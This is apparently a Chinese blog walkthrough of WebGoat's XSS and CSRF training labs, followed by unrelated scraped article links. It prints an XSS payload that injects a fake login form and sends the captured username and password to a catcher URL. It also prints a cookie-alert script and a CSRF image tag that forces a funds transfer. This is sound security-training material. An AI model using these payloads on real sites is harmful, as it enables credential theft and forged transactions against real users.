WebGoat系列实验Cross-Site Scripting (XSS)

PhishingTitle

  1. 本次实验是在一个已知存在XSS漏洞的页面进行钓鱼攻击。通过使用XSS与HTML注入,在页面中注入身份认证html代码,添加javascript脚本收集身份认证信息,并发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
  2. 输入以下javascript代码。(之前这个位置提交的javascript代码没有显示出来,原来是因为源代码被过滤掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
  1. 在伪造的输入框中输入用户名与密码,点击login按钮,用户的登录认证信息就被发送到构造的页面中了。

LAB: Cross Site Scripting

Stage 1:Stored XSS

  1. 作为Tom,在个人简介编辑页执行存储型XSS攻击,验证Jerry会受到攻击影响。
  2. 使用Tom登录,修改Tom的个人简介编辑页的街道一栏,在其后添加,更新个人信息。
  3. 使用Jerry登录,选择Tom的个人信息进行查看,弹窗表明存储型XSS攻击成功。

Stage 2:Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage3:Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

Stage4:Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage5:Reflected XSS

  1. 利用查找职工页面的缺陷制作一个包含有反射型XSS的URL,验证其他使用这个链接的用户也会受到攻击影响。
  2. 使用用户Larry登录,在Search Staff搜索框中输入。

Stage6:Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stored XSS Attacks

  1. 清除所有的输入是一个很好的选择,尤其是清除那些将被用作参数使用的输入。对于在应用程序中永久存储的内容特别重要。当用户的消息被检索时,不能出现不期望的消息内容。
  2. 在输入的内容中添加javascript代码,点击Submit按钮。
  3. 点击生成的文章链接,会显示一个弹窗,表明页面存在存储型XSS。

Reflected XSS Attacks

  1. 在服务器端验证所有输入是一个很好的选择。未验证的用户输入可能会在HTTP响应中出现XSS。攻击者可以创建一个URL,通过让受害者点击的方式进行XSS攻击。
  2. 在digit access code框中添加
<script>alert(document.cookie);</script>

,点击Purchase按钮完成。

Cross Site Request Forgery (CSRF)

  1. 实验需要向新闻组发送一封email。在email中包含一张图片,图片的URL指向一个恶意请求。实验中,URL应指向attack servlet,参数有Screen与menu,还有一个额外的参数transferFunds带有任意数值。收件人刚好进行身份认证,正在转移资金。
  2. 构造一封邮件,在Message后添加一张图片,根据Screen与menu值构造URL,图片的javascript代码为
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>



3. 当收件人打开这封email时,由于自身身份已经认证,因此账户被转移了5000。

CSRF Prompt By-Pass

  1. 实验需要向新闻组发送email包含以下恶意请求,首先转账,然后请求提示确认。
  2. 在email的正文中输入如下javascript代码。

CSRF Token By-Pass

WebGoat系列实验Cross-Site Scripting (XSS)的更多相关文章

  1. WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...

  2. 跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...

  3. 跨站脚本攻击(Cross‐Site Scripting (XSS))实践

    作者发现博客园在首页显示摘要时未做html标签的过滤,致使摘要中的html代码可以被执行,从而可以注入任何想要被执行的js代码,作者利用这一缺陷在本文摘要中插入了一段js代码执行alert弹窗,同时增 ...

  4. XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

    本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...

  5. Web安全之XSS(Cross Site Scripting)深入理解

    XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...

  6. XSS 跨站脚本攻击(Cross Site Scripting)

    xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意 ...

  7. WebGoat系列实验AJAX Security

    WebGoat系列实验AJAX Security DOM Injiction 实验对象是一个接受激活密钥后允许你访问的系统,实验目标是尝试将激活按钮变得可以点击. 直接修改页面代码激活按钮,Chrom ...

  8. Healwire Online Pharmacy 3.0 Cross Site Request Forgery / Cross Site Scripting

    Healwire Online Pharmacy version 3.0 suffers from cross site request forgery and cross site scriptin ...

  9. 跨站脚本攻击XXS(Cross Site Scripting)修复方案

    今天突然发现,网站被主页莫名奇妙的出现了陌生的广告. 通过排查发现是跨站脚本攻击XXS(Cross Site Scripting).以下为解决方案. 漏洞类型: Cross Site Scriptin ...

随机推荐

  1. 使用python实现两个文件夹里文件的对比(包含内容的对比)

    #-*-coding:utf-8-*- #=============================================================================== ...

  2. git常用命令备忘录

    返回未修改状态 [git checkout . --没有的提交的,都返回到原来的状态  git clean -xdf 删除文件和目录] git checkout . && git cl ...

  3. Js中的prototype的用法一

    一 prototype介绍 prototype对象是实现面向对象的一个重要机制.每个函数也是一个对象,它们对应的类就是function,每个函数对象都具有一个子对象prototype.Prototyp ...

  4. VC2005中将Picture控件显示图片保存为BMP,JPG等格式

    1.在stdafx.h头文件中加入 #include <atlimage.h> 2.保存图片 方法一:   HBITMAP hBitmap = NULL; //创建位图段 BITMAPIN ...

  5. mezzanine安装配置

    ubuntu 14.04 cd /var/wwwmkdir testingcd testingvirtualenv venv --python=python3. venv/bin/activate p ...

  6. Day2-VIM(六): 恢复

    恢复在VIM里比较简单,不过想要具体恢复到某个时间段很难 就我的经验而言,有时候使用恢复还不如删了重写 这里我们来讲讲恢复.撤销和重复命令的使用 u 撤消上次命令 U 恢复整行 ctrl+r 重做 . ...

  7. ajax 原理

    Ajax的原理简单来说通过XmlHttpRequest对象来向服务器发异步请求,从服务器获得数据,然后用javascript来操作DOM而更新页面.    其中最关键的一步就是从服务器获得请求数据. ...

  8. Make 命令

    Linux 下 make 命令是系统管理员和程序员用的最频繁的命令之一.管理员用它通过命令行来编译和安装很多开源的工具,程序员用它来管理他们大型复杂的项目编译问题.本文我们将用一些实例来讨论 make ...

  9. VxVM如何扩展和收缩卷及文件系统

    1. 同时扩展卷和文件系统 先用vxassist命令检查DG可用空间 [root@rhelnode1 ~]# vxassist -g testdg maxsize Maximum volume siz ...

  10. Diag:Diagonal matrices and diagonals of a matrix

    Diag:Diagonal matrices and diagonals of a matrix Syntax X = diag(v,k) X = diag(v) v = diag(X,k) v =  ...